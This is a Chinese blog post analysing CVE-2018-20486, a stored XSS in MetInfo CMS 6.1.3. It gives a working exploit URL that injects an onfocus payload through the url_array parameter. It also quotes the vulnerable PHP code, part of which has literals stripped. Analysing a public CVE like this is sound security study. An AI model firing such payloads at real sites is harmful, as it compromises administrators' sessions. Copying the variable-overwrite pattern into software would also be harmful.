前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Metinfo 6.1.3 前台XSS漏洞分析 CVE-2018-20486

Metinfo 6.1.3 前台XSS漏洞分析 CVE-2018-20486

作者头像
用户5878089
发布2019-07-25 16:31:36
6790
发布2019-07-25 16:31:36
举报

前言

最近一直在刷这个cms的漏洞,主要是为了让自己维持一点代码量,不至于生疏,好久没有都没有大块的时间做安全了,和自己的精力有关,也和自己的心态有关,不管怎样,还是要抽时间维持一下自己的爱好,日子不能过的太爽,分析别人已经发出来的CVE,同时也是给自己找点事情做。 每个CMS都有自己的传值的方式,tp5系列远程代码执行漏洞也是这样出来的,metinfo的漏洞主要和它的变量覆盖有关。 同时也说说自己的漏洞观点,没有一个系统是安全的,如果是,只不过漏洞还没有被挖掘出来。 和以前一样的节奏,如果只是想复现一下这个漏洞,直接看漏洞的利用方式,漏洞的细节不用看。 以下是历史版本和最新版本的下载地址:

代码语言:javascript
复制
     https://www.mituo.cn/faq/1519.html
     https://www.mituo.cn/download/

漏洞利用方式

这个漏洞的影响范围一直到最新版本(6.1.3) 可以直接前台访问,然后x到后台:

代码语言:javascript
复制
http://127.0.0.1/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa%22+autofocus+onfocus=alert(2)+a=%0a%0ba=&url_array[]=123

管理登录后台,切换到“安全与效率”界面,XSS可自动触发。

漏洞分析

漏洞的触发点在 admin/login/login_check.php

同样的

代码语言:javascript
复制
<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',);
require_once $commonpath;
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
$turefile=$url_array[count($url_array)-2];
if($met_adminfile!=$turefile&&$adminmodify!=){
    $met_adminfile=$turefile;
    $turefile=authcode($turefile,'ENCODE',$met_webkeys);
    $query="update $met_config set value='$turefile' where name='met_adminfile' and lang='metinfo'";
    $db->query($query);
}

加载了 $commonpath=include/common.inc.php 同样 在如下的代码段里存在变量覆盖漏洞:

代码语言:javascript
复制
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{} != '_' && $$_key = daddslashes($_value,,,);
        $_M['form'][$_key]=daddslashes($_value,,,);
    }
}

不再过多的分析;

接着往下看 我们可以控制url_array变量,从而控制turefile,进入如上的if语句,可以直接更改数据库数据

$_M 数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:

代码语言:javascript
复制
    $_M[config]:网站配置数组,里面可以查询到所有的网站配置数据。
    $_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,
        这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。
    $_M[langlist]:语言设置数组,其中$_M[langlist][web]为前台语言设置,
            $_M[langlist][admin]为后台语言设置。
    $_M[lang]:前台语言,如果你是在网站前台,则这个值是你当前访问的语言,
        如果是后台,则这个值是你当前编辑的语言。
    $_M[table]:系统表名称。
    $_M[url]:系统一些常用URL入口地址。
    $_M[url][site_admin] :网站后台地址
    $_M[url][site] :网站前台地址
    $_M[url][entrance] :框架入口地址
    $_M[url][own] :当前执行的应用根目录地址
    $_M[url][app] :应用根目录地址
    $_M[url][pub] :系统公用文件(html.css,js)地址
    $_M[url][ui] :当前class所使用的UI地址,前台为“系统ui根目录/web”;,
                    后台为“系统ui根目录/admin”。
    $_M[user][cookie]:用户cookie信息,建议不要直接取值,使用get_met_cookie()取值。
    $_M[word]:当前的语言参数。
    $_M[plugin]:系统插件数组。

app/system/include/class/common.class.php

代码语言:javascript
复制
$_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
        if ($_M['config']['met_adminfile'] == '') {
            $_M['config']['met_adminfile'] = 'admin';
            $met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
            $query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
            $result = DB::query($query);
        }

中可以看到,met_adminfile也就是我们可以控制的值存在于$_M['config']['met_adminfile'],所以只要全搜索$_M['config']['met_adminfile'],就可以可以找到我们了可以控制的点了:

app/system/safe/admin/templates/index.php 在这个文件中,可以发现,标签直接输出了,所以可以构造特殊的存储类型的xss。

XSS的构造方式有很多中,但是只要满足输出条件即可: $turefile=$url_array[count($url_array)-2]在倒数第二个值中输入我吗想要的值就可以了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 漏洞利用方式
  • 漏洞分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档